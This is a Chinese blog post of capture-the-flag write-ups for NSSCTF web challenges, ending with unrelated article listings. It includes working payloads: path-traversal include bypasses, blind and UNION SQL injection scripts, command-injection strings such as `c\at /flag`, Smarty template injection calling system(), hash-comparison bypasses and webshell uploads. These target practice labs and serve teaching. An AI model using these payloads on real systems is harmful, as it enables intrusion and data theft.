NSSCTF做题(6)

news2024/11/23 20:58:24

[HCTF 2018]Warmup

查看源代码得到

开始代码审计

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;//
page变量不存在或page变量不是字符串时返回false
            }

            if (in_array($page, $whitelist)) {
                return true;//
满足page变量在whitelist数组内返回true
            }

            $_page = mb_substr(//
截取page变量第一个?前的字符串
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }//白名单检查

            $_page = urldecode($page);//url解码
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );//二次截断
            if (in_array($_page, $whitelist)) {
                return true;
            }//白名单检查
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

##只有三个条件全部为true时才可触发
1. ! empty($_REQUEST['file'])
##条件1表示参数不为空时返回true
2. is_string($_REQUEST['file'])
##条件2表示参数为字符串时返回true
3. emmm::checkFile($_REQUEST['file'])
##条件3表示参数满足checkFile函数时返回true

php mb_strpos()函数详解 - 飞鸟慕鱼博客

满足经过两次?截断后仍能通过白名单检查,并且include正确路径,才输出flag。 

先看看hint.php

找到了flag的目录

构建payload: /source.php?file=hint.php?../../../../../../../../ffffllllaaaagggg

这段payload,checkfile检测传入的file的值,将file赋给page变量,首先白名单检测hint.php在白名单内返回真。

然后?截断在第一次截断的时候将file中的hint.php?../../../../../../../../ffffllllaaaagggg截断为hint.php并顺利通过第二次白名单检测。

接着是一次url解码,将page变量进行一次url解码。

注意  mb_strpos($_page . '?', '?')

这段代码,“$_page . '?',”,中的那个.是一个连接符,相当于在__page变量后加上一个?。于是这次同样截断剩下hint.php再次顺利通过白名单检测。最后满足3个if条件执行include语句。在包含的时候会把hint.php?/当成一层目录,然后构造../../向上遍历找到flag。

因为白名单有两个字符串所以把file里面的hint换成source也是一样能拿到flag。

即source.php?file=source.php?../../../../../../../../ffffllllaaaagggg可以达到相同的效果。

得到flag

[CISCN 2019华北Day2]Web1 

尝试注入发现了bool错误,应该属于是布尔盲注了

布尔盲注脚本:

import requests
import time

url = "http://node2.anna.nssctf.cn:28326/index.php"
payload = {
    "id" : ""
}
result = ""
for i in range(1,100):
    l = 33
    r =130
    mid = (l+r)>>1
    while(l<r):
       # 跑库名
       #"0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(schema_name)/**/fROm/**/information_schema.schemata),{0},1))>{1})".format(i, mid)

       # 跑表名
       #"0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/'ctf'),{0},1))>{1})".format(i, mid)

       # 跑列名
       #"0^" + "(ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/'f111'),{0},1))>{1})".format(i,mid)

       #######################
       #"0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, mid)

       payload["id"] ="0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, mid)

       html = requests.post(url,data=payload)
       print(payload)
       if "Hello" in html.text:
          l = mid+1
       else:
          r = mid
       mid = (l+r)>>1
    if(chr(mid)==" "):
       break
    result = result + chr(mid)
    print(result)
print("flag: " ,result)

还有

import requests
import string

def blind_sql(url):
    flag=''
    for num in range(1,60):     #flag一般不超过50个字符
        for i in string.printable:  #string.printable将给出所有的标点符号,数字,ascii_letters和空格
            payload='(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i)) #ord函数用来获取单个字符的ascii码
            post = {"id":payload}
            result = requests.post(url=url,data=post)   #提交post请求
            if 'Hello' in result.text:
                flag += i   #用flag接收盲注得到的结果
                print(flag) #打印结果
            else:
                continue
    print(flag)

if __name__ == '__main__':
    url='http://node4.anna.nssctf.cn:28304/index.php'
    blind_sql(url) 

得到flag

[羊城杯 2020]easycon 

点进去有点懵,看看访问一下首页

看到了提示,应该是一句话木马,用蚁剑连接

 连接成功

 看到有一个bbbbbbbbb.txt

下载下来看像是base64转图片,得到flag

[LitCTF 2023]这是什么?SQL !注一下 ! 

先找找他的闭合条件 

(((((('.$_GET["id"].'))))))

sql注入闭合方式-CSDN博客  推荐大家看这篇博客

应该是1')))))这样闭合

爆库名

?id=1)))))) union select 1, group_concat(schema_name)from information_schema.schemata --+ 

爆表名

?id=1)))))) union select 1, group_concat(table_name)from information_schema.tables where table_schema='ctftraining' --+ 

 

爆列名

?id=1)))))) union select 1, group_concat(column_name)from information_scheam.columns where table_name='flag' --+ 

 查字段,得到flag

?id=-1)))))) union select 1,flag from ctftraining.flag%23 

[UUCTF 2022 新生赛]ez_rce 

代码审计

第一次见这种题,无参数rce,找了两篇博客给大家参考

 https://www.cnblogs.com/pursue-security/p/15406272.html

无参数RCE-CSDN博客

eval() 函数把字符串按照 PHP 代码来计算

即,我们通过GET传入参数code,code可以是一些命令参数,但被过滤了许多。

现在的目标是绕过过滤,进入if从句

  • 没有过滤 “ \ ” ,因此构造:

 /?code=printf(`l\s /`);

 看到flag文件,直接查看

 /?code=printf(`c\at /fffffffffflagafag`);

 [HNCTF 2022 Week1]easy_html 

直接抓包,找到了一个页面 访问

 发现登录框有长度限制,长度改大就出来了flag

[GDOUCTF 2023]受不了一点 

 又是这个页面,访问index.php

找到源码开始审计

if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
    $b=$_POST['ctf'];
    $a=$_POST['gdou'];
    if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){//给上边这几个参数赋值,
关于md5强比较直接使用数组类型绕过即ctf[]=1&gdou[]=2
        if(isset($_COOKIE['cookie'])){
           if ($_COOKIE['cookie']=='j0k3r'){//
传入cookie使cookie的值等于j0k3r cookie=j0k3r
               if(isset($_GET['aaa']) && isset($_GET['bbb'])){
                  $aaa=$_GET['aaa'];
                  $bbb=$_GET['bbb'];//
让get方式传入参数aaa和bbb的值传就行了
               if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){这里进行绕过,在任意一个114514后加一个字母传参aaa=114514&bbb=114514a
                   $give = 'cancanwordflag';
                   $get ='hacker!';
                   if(isset($_GET['flag']) && isset($_POST['flag'])){
                         die($give);
                    }
                   if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
                       die($get);//
这里选择任意一个传入flag的方式使用get,则flag的值在不断的遍历,对flag的值进行传递,输出flag构造:123=flag&flag=123
                    }
                    foreach ($_POST as $key => $value) {
                        $$key = $value;
                   }
                    foreach ($_GET as $key => $value) {
                         $$key = $$value;
 

最后构造的payload:

get:?aaa=114514&bbb=114514a&123=flag&flag=123

post: ctf[]=1&gdou[]=2

cookie: cookie=j0k3r

得到flag

[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

代码审计,又遇到了substr()函数,php伪协议就ok

 

得到base64编码

还需要继续绕过

 

继续用这个协议,加上flag前面的目录就可以了

 

[NSSRound#1 Basic]basic_check

进去没东西,直接开扫

扫到了,进去看看

 

发现没东西。还是bp抓一下,还是没抓到东西

看大佬的wp才知道这个是put请求,还涉及到了一个没用过的软件 

Nikto安装和使用_nikto下载-CSDN博客Nikto 网页服务器扫描器_nikto扫描-CSDN博客

Nikto 网页服务器扫描器_nikto扫描-CSDN博客 

输入命令:nikto -h http://node4.anna.nssctf.cn:28806/

可以put请求文件上传

 

发现成功写入

命令执行得到flag

[HDCTF 2023]SearchMaster 

说是smarty模板,能想到的就是ssti注入

看到了提示说,你可以post传参给我一个data

确定了是ssti注入,用{if}{/if}尝试注入  data={if system('ls /')}{/if}

得到了flag文件 

继续得到flag

data={if system('cat /flag_13_searchmaster')}{/if} 

[鹤城杯 2021]Middle magic 

 又是代码审计

<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){

    $aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);

    if(preg_match('/pass_the_level_1#/', $aaa)){
        echo "here is level 2";
        
        if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
            if ($_POST['admin'] == $_POST['root_pwd'])
                echo '<p>The level 2 can not pass!</p>';
        // START FORM PROCESSING    
            else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
                echo "here is level 3,do you kown how to overcome it?";
                if (isset($_POST['level_3'])) {
                    $level_3 = json_decode($_POST['level_3']);
                    
                    if ($level_3->result == $result) {
                        
                        echo "success:".$flag;
                    }
                    else {
                        echo "you never beat me!";
                    }
                }
                else{
                    echo "out";
                }
            }
            else{
                
                die("no");
            }
        // perform validations on the form data
        }
        else{
            echo '<p>out!</p>';
        }

    }
    
    else{
        echo 'nonono!';
    }

    echo '<hr>';
}

?> 
 

 关键代码

 if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){
 $aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', 

$_GET['aaa']);
if(preg_match('/pass_the_level_1#/', $aaa)){//要求get传参aaa,让aaa=pass_the_level_1,但是level1会被替换成filtered
 echo "here is level 2";       if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
if ($_POST['admin'] == $_POST['root_pwd'])//post传参admin和root_pwd
   echo '<p>The level 2 can not pass!</p>';
  // START FORM PROCESSING    
else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){//让这两个参数的sha1值相等

  echo "here is level 3,do you kown how to overcome it?";
  if (isset($_POST['level_3'])) {
  $level_3 = json_decode($_POST['level_3']);

if($level_3->result == $result) {//post传参level3,对其进行json_decode后,需要$level_3->result == $result              

 echo "success:".$flag;

深入了解PHP的json_decode()函数-PHP问题-PHP中文网 这篇详细介绍了json_decode

构造payload:

1.get传参aaa 

因为preg_replace函数只能匹配一行的数据,因此我们只需先传入换行符,那么后面的传入便不再被匹配

/?aaa=%0Apass_the_level_1%23(%0a和%23分别是换行符和井号键的url编码)

正则匹配单行模式(?s)下 ,.号将匹配所有字符,包括换行符;但默认情况下点号不匹配换行符,因此给了绕过(.*)的可能 

 2.post传参admin和root_pwd

我们利用数组绕过,具体原因是sha1加密时,若传入的是数组,返回值为null 

admin[]=1&root_pwd[]=2 

 3.//post传参level3,对其进行json_decode后,需要$level_3->result == $result

我们传入一个JSON格式的字符串,即 

level_3={"result":0}

 得到flag

 [HNCTF 2022 Week1]easy_upload

上传一句话木马,发现成功

 

连接蚁剑

得到flag

 

[SWPUCTF 2022 新生赛]奇妙的MD5 

 结合题目和页面提示想到了ffifdyop

 

 输入之后到了另外一个页面

查看源码,找到了需要审计的部分

没的说,数组绕过就结束了, ?x[]=1&y[]=2

到了下一个页面,md5强比较,因为他没有字符串的限制,所以还用数组就可以了

wqh[]=1&dsy[]=2 ,得到flag

 [GKCTF 2021]easycms

点什么都没反应,直接开扫

扫到了一个登录页面

 访问发现

 弱口令尝试登录(或者bp爆破)

试出来是admin/12345

进到后台发现 设计->主题 处可以编辑页面,支持php源代码,于是考虑插入php在网站页面爆出flag,随便找个地方,比如 头部 处写一个php试试

保存时出现如下提示: 

所以需要构造出这样一个文件,在 设计->组件->素材库 发现上传文件入口,先随便上传一个本地txt,根据先前编辑页面的路径,将上传到素材库的文件重命名为 ../../../../../system/tmp/udst 形成目录穿越。 

有了这个东西之后就可以尝试命令执行了

得到flag

第一次做这种题,cms都不知道是什么,记录两个

什么是CMS ,CMS 有哪些功能呢?|齿轮干货 - 知乎

CMS是什么意思-php教程-PHP中文网 

[HNCTF 2022 Week1]What is Web

有一个bp的下载链接,应该是和bp抓包有关的

页面显示,抓包看看

 没抓到什么,既然是给新手看的,那就在源码里找一下

最后还是找到了东西

解密得到flag

 

 

 

 

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1054212.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java-API简析_java.util.Objects类(基于 Latest JDK)(浅析源码)

【版权声明】未经博主同意&#xff0c;谢绝转载&#xff01;&#xff08;请尊重原创&#xff0c;博主保留追究权&#xff09; https://blog.csdn.net/m0_69908381/article/details/133463511 出自【进步*于辰的博客】 因为我发现目前&#xff0c;我对Java-API的学习意识比较薄弱…

人工智能的学习算法

1956年&#xff0c;几个计算机科学家相聚在达特茅斯会议&#xff0c;提出了 “人工智能” 的概念&#xff0c;梦想着用当时刚刚出现的计算机来构造复杂的、拥有与人类智慧同样本质特性的机器。其后&#xff0c;人工智能就一直萦绕于人们的脑海之中&#xff0c;并在科研实验室中…

K折交叉验证——cross_val_score函数使用说明

在机器学习中&#xff0c;许多算法中多个超参数&#xff0c;超参数的取值不同会导致结果差异很大&#xff0c;如何确定最优的超参数&#xff1f;此时就需要进行交叉验证的方法&#xff0c;sklearn给我们提供了相应的cross_val_score函数&#xff0c;可对数据集进行交叉验证划分…

小程序是一种伪需求技术吗?

点击下方“JavaEdge”&#xff0c;选择“设为星标” 第一时间关注技术干货&#xff01; 免责声明~ 任何文章不要过度深思&#xff01; 万事万物都经不起审视&#xff0c;因为世上没有同样的成长环境&#xff0c;也没有同样的认知水平&#xff0c;更「没有适用于所有人的解决方案…

[NOIP2012 提高组] 开车旅行

[NOIP2012 提高组] 开车旅行 题目描述 小 A \text{A} A 和小 B \text{B} B 决定利用假期外出旅行&#xff0c;他们将想去的城市从 $1 $ 到 n n n 编号&#xff0c;且编号较小的城市在编号较大的城市的西边&#xff0c;已知各个城市的海拔高度互不相同&#xff0c;记城市 …

零基础一站式精通安卓逆向2023最新版(第一天):Android Studio的安装与配置

目录 一、Android Studio 开发环境的下载二、Android Studio 的安装与配置2.1 安装2.2 Android SDK 的管理 三、创建 Android 应用程序补充&#xff1a;安装完 Android Studio 后 SDK 目录下没有 tools 目录 一、Android Studio 开发环境的下载 通常情况下&#xff0c;为了提高…

对pyside6中的textedit进行自定义,实现按回车可以触发事件。

我的实现方法是&#xff0c;先用qt designer写好界面&#xff0c;如下图&#xff1a; 接着将其生成的ui文件编译成为py文件。 找到里面这几行代码&#xff1a; self.textEdit QTextEdit(self.centralwidget)self.textEdit.setObjectName(u"textEdit")self.textEdit…

Vue城市选择器示例(省市区三级)

Vue城市选择器&#xff08;省市区&#xff09; 读者可以参考下面的省市区三级联动代码思路&#xff0c;切记要仔细研究透彻&#xff0c;学习交流才是我们的本意&#xff0c;而非一成不变。切记切记&#xff01; 最近又重读苏子的词&#xff0c;颇为感慨&#xff0c;愿与诸君共…

2022年中国征信行业覆盖人群、参与者数量及征信业务查询量统计[图]

征信是指依法收集、整理、保存、加工自然人、法人及其他组织的信用信息&#xff0c;并对外提供信用报告、信用评估、信用信息咨询等服务&#xff0c;帮助客户判断、控制信用风险&#xff0c;进行信用管理的活动。 征信业主要范畴 资料来源&#xff1a;共研产业咨询&#xff08…

B. Comparison String

题目&#xff1a; 样例&#xff1a; 输入 4 4 <<>> 4 >><< 5 >>>>> 7 <><><><输出 3 3 6 2 思路&#xff1a; 由题意&#xff0c;条件是 又因为要使用尽可能少的数字&#xff0c;这是一道贪心题&#xff0c;所以…

初识多线程

一、多任务 现实中太多这样同时做多件事的例子了&#xff0c;例如一边吃饭一遍刷视频&#xff0c;看起来是多个任务都在做&#xff0c;其实本质上我们的大脑在同一时间依旧只做了一件事情。 二、普通方法调用和多线程 普通方法调用只有主线程一条执行路径 多线程多条执行路径…

uni-app_消息推送_华为厂商_unipush离线消息推送

文章目录 一、创建项目二、生成签名证书三、开通 unipush 推送服务四、客户端集成四、制作自定义调试基座五、开发者中心后台Web页面推送&#xff08;仅支持在线推送&#xff09;六、离线消息推送1、创建华为开发者账号2、开通推送服务3、创建项目4、添加应用5、添加SHA256证书…

【Linux】详解线程第三篇——线程同步和生产消费者模型

线程同步和生消模型 前言正式开始再次用黄牛抢票来讲解线程同步的思想通过条件变量来实现线程同步条件变量接口介绍初始化和销毁pthread_cond_waitsignal和broadcast 生产消费者模型三种关系用基本工程师思维再次理解基于生产消费者模型的阻塞队列版本一版本二多生多消 利用RAI…

2022年全球一次能源消费量:石油消耗量持续增加达190.69百亿亿焦耳,亚太地区消费量居首位[图]

一次性能源是指从自然界取得未经改变或转变而直接利用的能源。如原煤、原油、天然气、水能、风能、太阳能、海洋能、潮汐能、地热能、天然铀矿等。一次性能源又分为可再生能源和不可再生能源&#xff0c;前者指能够重复产生的天然能源&#xff0c;包括太阳能、风能、潮汐能、地…

响应式设计的实现方式

一. 什么是响应式 响应式网站设计是一种网络页面设计布局。页面的设计与开发应当根据用户行为以及设备环境&#xff08;系统平台&#xff0c;屏幕尺寸&#xff0c;屏幕定向等&#xff09;进行相应的响应和调整。 响应式网站常见特点&#xff1a; 1. 同时适配PC平板手机。 2…

排序篇(五)----非比较排序

排序篇(五)----非比较排序 基本思想&#xff1a; ​ 计数排序又称为鸽巢原理&#xff0c;是对哈希直接定址法的变形应用。 ​ 统计每个元素出现的次数&#xff0c;然后根据元素的大小顺序将它们放入正确的位置。 ​ 计数排序是一种小众的排序,它适合于数据密集的场景,按最大…

flink选择slot

flink选择slot 在这个类里修改 package org.apache.flink.runtime.resourcemanager.slotmanager.SlotManagerImpl; findMatchingSlot(resourceProfile)&#xff1a;找到满足要求的slot&#xff08;负责从哪个taskmanager中获取slot&#xff09;对应上图第8&#xff0c;9&…

百元开放式耳机推荐哪款、性价比最好的开放式耳机推荐

随着蓝牙耳机产业的高速发展&#xff0c;目前最热门的蓝牙耳机莫过于开放式的&#xff0c;跟传统的蓝牙耳机相比&#xff0c;开放式的耳机拥有久戴不累、安全舒适等优势&#xff0c;所谓的“开放式耳机”&#xff0c;就是指不用塞入耳朵内&#xff0c;也能听音乐的耳机&#xf…

noip2011铺地毯

[NOIP2011 提高组] 铺地毯 题目描述 为了准备一个独特的颁奖典礼&#xff0c;组织者在会场的一片矩形区域&#xff08;可看做是平面直角坐标系的第一象限&#xff09;铺上一些矩形地毯。一共有 n n n 张地毯&#xff0c;编号从 1 1 1 到 n n n。现在将这些地毯按照编号从小…

Codeforces Round 894 (Div. 3) D(数学题好难不会)

题目链接&#xff1a;Codeforces Round 894 (Div. 3) D 题目&#xff1a; 特马决定提高自己制作冰淇淋的技能。他已经学会了如何用两个球把冰淇淋做成圆锥形。 在痴迷冰淇淋之前&#xff0c;特马对数学很感兴趣。因此&#xff0c;他很想知道要制作完全n个不同类型的冰淇淋&am…